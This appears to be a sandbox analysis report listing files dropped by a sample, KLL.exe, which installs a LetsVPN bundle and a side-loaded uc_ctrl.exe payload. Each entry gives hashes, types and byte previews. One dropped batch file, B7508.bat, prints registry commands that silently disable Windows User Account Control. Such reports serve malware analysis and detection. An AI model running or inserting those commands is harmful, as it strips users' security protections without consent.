SSDEEP:	192:mfR2FYRtCc9X1uikvgqm+LPTTw9Bu8Skn+x23acmHjZXuxZpCAe9Crxpn319UDSQ:mf0YRt/km+b3wG0nt2UC6rOf
MD5:	7F8E1969B0874C8FB9AB44FC36575380
SHA1:	3057C9CE90A23D29F7D0854472F9F44E87B0F09A
SHA-256:	076221B4527FF13C3E1557ABBBD48B0CB8E5F7D724C6B9171C6AADADB80561DD
SHA-512:	7AA65CFADC2738C0186EF459D0F5F7F770BA0F6DA4CCD55A2CECA23627B7F13BA258136BAB88F4EEE5D9BB70ED0E8EB8BA8E1874B0280D2B08B69FC9BDD81555
Malicious:	false
Preview:	BM\.......2...(.......:...........*.......................Y[[.....z}~.................................................5by.k...6by.m...o...p...q...9dz.s...t...w...x...`...=f{.{.......}...................~...Q...........b.......-FS.~...m...v............%+.................................................................-;B.................................................................................................................................prs.;....AY.4...(m..E...P...\...f...l...n...o...8cz.l...r...q...q...r...s...t...l...v...u...;dz.v...y...w...w...z...i...y...z...{...~...}.......W...Jw..@g\|.....................]...@ey.................Go..............Ch\|.<]o.............................\|...@bt.9Wg.........5P_.....................................................`...c...t...q...............................................[q}.........................Rcl.....................................:....~...Ts.m........... 1;.......................................!.............+,-...........

C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\nsDialogs.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.101872593207892
Encrypted:	false
SSDEEP:	192:oF8cSzvTyl4tgi8pPjQM0PuAg0YNy8IFtSP:EBSzm+t18pZ0WAg0R8IFg
MD5:	CA95C9DA8CEF7062813B989AB9486201
SHA1:	C555AF25DF3DE51AA18D487D47408D5245DBA2D1
SHA-256:	FEB6364375D0AB081E9CDF11271C40CB966AF295C600903383B0730F0821C0BE
SHA-512:	A30D94910204D1419C803DC12D90A9D22F63117E4709B1A131D8C4D5EAD7E4121150E2C8B004A546B33C40C294DF0A74567013001F55F37147D86BB847D7BBC9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..c8O`08O`08O`08Oa0.O`0.@=05O`0llP0=O`0.If09O`0.od09O`0Rich8O`0........PE..L.....oZ...........!.........0...............0............................................@..........................6..k....0.......p...............................................................................0...............................text............................... ..`.rdata..{....0......................@..@.data...h!...@......................@....rsrc........p....... ..............@..@.reloc..v............"..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso2FF1.tmp\nsExec.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.156301589898623
Encrypted:	false
SSDEEP:	96:cjHFiKaoggCtJzTlKXb0tbo68qD853Ns7GgmkNG3m+s:9bogRtJzTlNR8qD85uGgmkNP
MD5:	3D366250FCF8B755FCE575C75F8C79E4
SHA1:	2EBAC7DF78154738D41AAC8E27D7A0E482845C57
SHA-256:	8BDD996AE4778C6F829E2BCB651C55EFC9EC37EEEA17D259E013B39528DDDBB6
SHA-512:	67D2D88DE625227CCD2CB406B4AC3A215D1770D385C985A44E2285490F49B45F23CE64745B24444E2A0F581335FDA02E913B92781043E8DFD287844435BA9094
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L.....oZ...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\SET78F0.tmp

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\SET7900.tmp

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\SET7911.tmp

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\oemvista.inf (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\tap0901.cat (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Users\user\AppData\Local\Temp\{abc90244-27e4-214f-aab8-9d117657614d}\tap0901.sys (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Roaming\B7508.bat

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	392
Entropy (8bit):	5.141040221765098
Encrypted:	false
SSDEEP:	12:jLMVjhR1mWEMlTLMVjhR1ZTLMVjhR16Xn:jIV1PMmIV1PZIV1P6X
MD5:	30D6EB22D6AEEC10347239B17B023BF4
SHA1:	E2A6F86D66C699F6E0FF1AC4E140AF4A2A4637D1
SHA-256:	659DF6B190A0B92FC34E3A4457B4A8D11A26A4CAF55DE64DFE79EB1276181F08
SHA-512:	500872C3F2F3F801EC51717690873194675CB7F32CC4A862C09D90C18638D364D49B0E04C32323F52734E5C806E3503A63AC755C7019D762786A72840123DF76
Malicious:	false
Preview:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F ..reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F ..reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F ..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\LetsVPN.lnk

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed May 8 12:29:30 2024, mtime=Sat Jul 20 13:13:43 2024, atime=Wed May 8 12:29:30 2024, length=247272, window=hide
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	4.630692388099736
Encrypted:	false
SSDEEP:	24:8mG/aI4bXSEndOE4tJSiAsq41dyOd/UU8Xqygm:8mG/aI4b1ndO4BsJ1dyOdskyg
MD5:	9BB214C16EF33443E82B1FE93DA84F3C
SHA1:	EDE8E25FFD4CA12F73044EB0FC1067CDD64F5352
SHA-256:	EA398672EE93A2D3C78645CC5FD3B7D35A71E8E946120DAF2DBAC6801BEDD225
SHA-512:	1DBE7D84165766CE0E610EBF5116B39985EA9C71BE1390C136C2E843BCC6620F1B45F9F06081AD3B27152F1CDE78062D60D50BD8717437BC082A20E6F88355EA
Malicious:	false
Preview:	L..................F.... .....c.K....,........c.K................................P.O. .:i.....+00.../C:\.....................1......X.q..PROGRA~2.........O.I.X.q....................V........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....V.1......X.q..letsvpn.@.......X.q.X.q....R........................l.e.t.s.v.p.n.....b.2......X.k .LetsPRO.exe.H......X.k.X.q..............................L.e.t.s.P.R.O...e.x.e.......Y...............-.......X...........3.G.....C:\Program Files (x86)\letsvpn\LetsPRO.exe..B.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.L.e.t.s.P.R.O...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z\|...K.J.........`.......X.......138727...........hT..CrF.f4... .v.2=.b...,...W..hT..CrF.f4... .v.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\Uninstall.lnk

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	824
Entropy (8bit):	3.377677862485207
Encrypted:	false
SSDEEP:	12:8wl0Va/ledp8A/LK4YRMbdpYgRtbdpYqQ/CNUvH4t2YZ/elFlSJm:8BdOAW4Y+djXdYOUFqy
MD5:	0011458DE2BFE4556889186A69473E2A
SHA1:	03B075F79791A3EA20E0CA82DC375F1E980C4386
SHA-256:	DB3312C1A2D480E1416930D0F28A1EDA75143B3FDF312C1F19510534FD37B9FA
SHA-512:	DA5DD6E5A253F13702DEB42BBA8E37349CB262F311D557B8891AD761387AF2B96B6B91E4BF7E637D3A7C14E2BFE61E476E44703417DE79930B210243A1B20082
Malicious:	false
Preview:	L..................F........................................................_....P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".V.1...........letsvpn.@............................................l.e.t.s.v.p.n.....`.2...........uninst.exe..F............................................u.n.i.n.s.t...e.x.e.......A.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.u.n.i.n.s.t...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z\|...K.J.....................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

C:\Users\user\Desktop\LetsVPN.lnk

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed May 8 12:29:30 2024, mtime=Sat Jul 20 13:13:47 2024, atime=Wed May 8 12:29:30 2024, length=247272, window=hide
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	4.671632813639806
Encrypted:	false
SSDEEP:	24:8mG/E4bXSEndOE42SiAsq4XdyOd/UU8Xqygm:8mG/E4b1ndOvBsJXdyOdskyg
MD5:	EB4AC68C9EB69491BC85CBA1E7B44342
SHA1:	25BB5452D1139E73DC1725FEFE22C334B04E6C90
SHA-256:	40BF7F8FB03860FE10E58F15D2CD3E53DE79E91271C0BC63D430A9DB70F4EED7
SHA-512:	BA1FFF96BEF239A603CBCD89BCEC25D7084FC52408FB5DCD0A693EAD530DB821C5FACA7B834EC2C82DED713DFA5B68BC70AA5787C26993D60A6EA79C3F7484A4
Malicious:	false
Preview:	L..................F.... .....c.K...QKV.......c.K................................P.O. .:i.....+00.../C:\.....................1......X.q..PROGRA~2.........O.I.X.q....................V........P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....V.1......X.q..letsvpn.@.......X.q.X.q....R.....................y...l.e.t.s.v.p.n.....b.2......X.k .LetsPRO.exe.H......X.k.X.q..............................L.e.t.s.P.R.O...e.x.e.......Y...............-.......X...........3.G.....C:\Program Files (x86)\letsvpn\LetsPRO.exe..0.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.L.e.t.s.P.R.O...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z\|...K.J.........`.......X.......138727...........hT..CrF.f4... .v.2=.b...,...W..hT..CrF.f4... .v.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9

C:\Users\user\Videos\57B1EA86~m8\Egcns.exe

Download File

Process:	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	99904
Entropy (8bit):	6.435962118124312
Encrypted:	false
SSDEEP:	1536:xvQ8DfZL6Gp/N6EZZtS/PG4/L1VOKFcbXWIJJffAgv:xvQ8DZ2vEZZtS3FxVRiGCfhv
MD5:	8AA07B7C6C632F4EDF07A0E2B91F8566
SHA1:	2E72D725A845B532C19A422FB32DEB629F53C824
SHA-256:	DD8BFBB25430E7F19E24234494324264BE98AC0CC20B239E18B4DD35E26EC1BC
SHA-512:	A9B3EB0B0EAFC53ACE21E30C12CCB64B9FC152CDF52A4A2C0B395DC6F9D20181B3006DCE14A16226DF9010A68673BB71656D8A95AC0597A12D05C99D15E3F909
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+..E+..E+..E8.D)..E8.D'..Ej..D)..E8.D/..E8.D5..E"..E2..E+..E...Ej..D..Ej..D,..Ej.sE..E+..E..Ej..D..ERich+..E........................PE..L....)a[..........................................@.................................].....@.................................h...,.... ..H_...........r..@...............p........................... ...@...............T............................text.............................. ..`.rdata...n.......p..................@..@.data...............................@....rsrc...H_... ...`..................@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Videos\57B1EA86~m8\SK.TXT

Download File

Process:	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe
File Type:	data
Category:	dropped
Size (bytes):	209640
Entropy (8bit):	7.999152537836755
Encrypted:	true
SSDEEP:	3072:1GBlmbO8lK2vI7qlRYMLnP6j7BLM9yg80idIlVW0QonaJsKc7VU68REgiWpdyj6o:OmbO8l1KYb72BLMcgNi+9QYav8N8R/yH
MD5:	05A8E84B7CE0E60EA6DCF1B42889A4CB
SHA1:	8E329C32770E175C1095D01DD0C1DE240D8D9BDF
SHA-256:	EE09FC18BE985FC13130825EFF2226823481EB3F30D7E413FFB66B6722C21B1D
SHA-512:	7318CC57C4917DB8847ADA6A5E8D3F20BE42F488962BE6BBFD1AD39430F9C2298B36C4D7916EA5E6012AE8770C4FF0BB8A6E6B4CAAC0CB8801B8157B35DB3FBF
Malicious:	false
Preview:	.wp.0.(...'..U!.[."1$D'./d %.=LE.C.X.g.V.t.......4.>.U.....e.mM~5..W.:....&p._.R.T..v..v...bM..b.;..!.P.m.?..\|kU...zdU...h..........].)..z;.^L.n^..5rP...c.....j..Z..3Z..7.O.8s.......'".A.....N..Q6.G.ww...f.....w...D...{....j,..L..S.r#.... ..}...p.m.g}...ma5.F.S$e.um...u&....2Z..y...1v(x3..b..^t3s.^xU......J...O.%26RayV...7^W..al...U...(.s<m....B.....c..E....1......=...i9.y.+.R.lA.._#`..{.!....!8`.%.,..5g.0..z...k...+\;_......`..5.C~.Q.m#($r...G.+......?FO....\.L..s..)...Z....@.<......f..?..T".4.....jb.2....H..#..I.=..w..f...W>..,.........M,...@\....p;Cw.w...{Y....(......V.......K\|...(......K..d..V.?4.E.....j.....C....Jt....Z.R....v#......\s7.... ......{...>....+.....{F`...qY.3...j.J..b:... ....Xf..w.........n.=.YA.}.5..,...j..V...".E"i...ga....&ay....`..,/'{ .$..\.l.~i.b.H..Zra..[......i..OQ..n..0..j.R+V..m..e..S.8.an.G...y..,../....$........ZE\.24xo..j......_!l.......c;....xw5.;I.I..X^3....w-.dU<.WP.e<.MC.tn.s.......b.V2...f.k-a.?...

C:\Users\user\Videos\57B1EA86~m8\msvcp140.dll

Download File

Process:	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439608
Entropy (8bit):	6.652249319015373
Encrypted:	false
SSDEEP:	12288:oAoA7hbarg71r4RzfxjJhUgiW6QR7t5s03Ooc8dHkC2esq0Ju:oAoAN3r0Bm03Ooc8dHkC2eT0Ju
MD5:	1D8C79F293CA86E8857149FB4EFE4452
SHA1:	7474E7A5CB9C79C4B99FDF9FB50EF3011BEF7E8F
SHA-256:	C09B126E7D4C1E6EFB3FFCDA2358252CE37383572C78E56CA97497A7F7C793E4
SHA-512:	83C4D842D4B07BA5CEC559B6CD1C22AB8201941A667E7B173C405D2FC8862F7E5D9703E14BD7A1BABD75165C30E1A2C95F9D1648F318340EA5E2B145D54919B1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.C.4...4...4..t.I..4...L...4..Lm...4...4...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm}..4..Lm...4..Rich.4..........................PE..L.....U.........."!................ ........ ...........................................@A.........................A.......R..,....................v..8?.......:..0g..8............................)..@............P......P>..@....................text..."........................... ..`.data....'... ......................@....idata..2....P......................@..@.didat..4....p.......4..............@....rsrc................6..............@..@.reloc...:.......<...:..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\Videos\57B1EA86~m8\uc_guilib.dll

Download File

Process:	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2798592
Entropy (8bit):	6.785357408096823
Encrypted:	false
SSDEEP:	49152:Cy2L/kje8OFJG+yk87AGuWl4vZ8EsHv1dL//e7qJ5pv:92jkje8KM+ykyAGuWl4h5sHv1N/
MD5:	222FC00C04823BAAEF6EA2406082DB6E
SHA1:	B4042DAFBD8DED61C64C8ED69B8DC06710950A01
SHA-256:	90BA55338412BFF084A981F67DA7FF07333C339C1965CFA23832442532247C50
SHA-512:	65C99E567C9BE76C94553DE46DE5F7B6C079630921A063897DC8C4EA0D7C2EC34634A2004F5C10135AD18A38BDB35E92CF3161638B3855E2C9D2216B3EE74877
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@......H1...................@.d\|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1......2....(.............@..@.reloc..d\|...@..~...6(.............@..B........................................................................................................................................................

C:\Users\user\Videos\57B1EA86~m8\vcruntime140.dll

Download File

Process:	C:\ProgramData\8R96N\35Hrm~m8\uc_ctrl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85328
Entropy (8bit):	6.8770791315221285
Encrypted:	false
SSDEEP:	1536:BTXU4YQD+JZoxeu8zIrBj3hGzHRb3izsQe1o8jsu0gD/TecbOjc8WsaBmiK:pXUlQDeexZTBozHRb3izsQe1o8E8ecbg
MD5:	B77EEAEAF5F8493189B89852F3A7A712
SHA1:	C40CF51C2EADB070A570B969B0525DC3FB684339
SHA-256:	B7C13F8519340257BA6AE3129AFCE961F137E394DDE3E4E41971B9F912355F5E
SHA-512:	A09A1B60C9605969A30F99D3F6215D4BF923759B4057BA0A5375559234F17D47555A84268E340FFC9AD07E03D11F40DD1F3FB5DA108D11EB7F7933B7D87F2DE3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^$Y..E7W.E7W.E7W..W.E7W.=.W.E7W.E6W3E7W..3V.E7W..4V.E7W..2V.E7W..?V.E7W..7V.E7W...W.E7W..5V.E7WRich.E7W........................PE..L.....U.........."!......... ...............................................P......r.....@A........................`................0..................P?...@....... ..8...........................X ..@............................................text...t........................... ..`.data...............................@....idata..............................@..@_RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................

C:\Windows\INF\oem4.inf

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
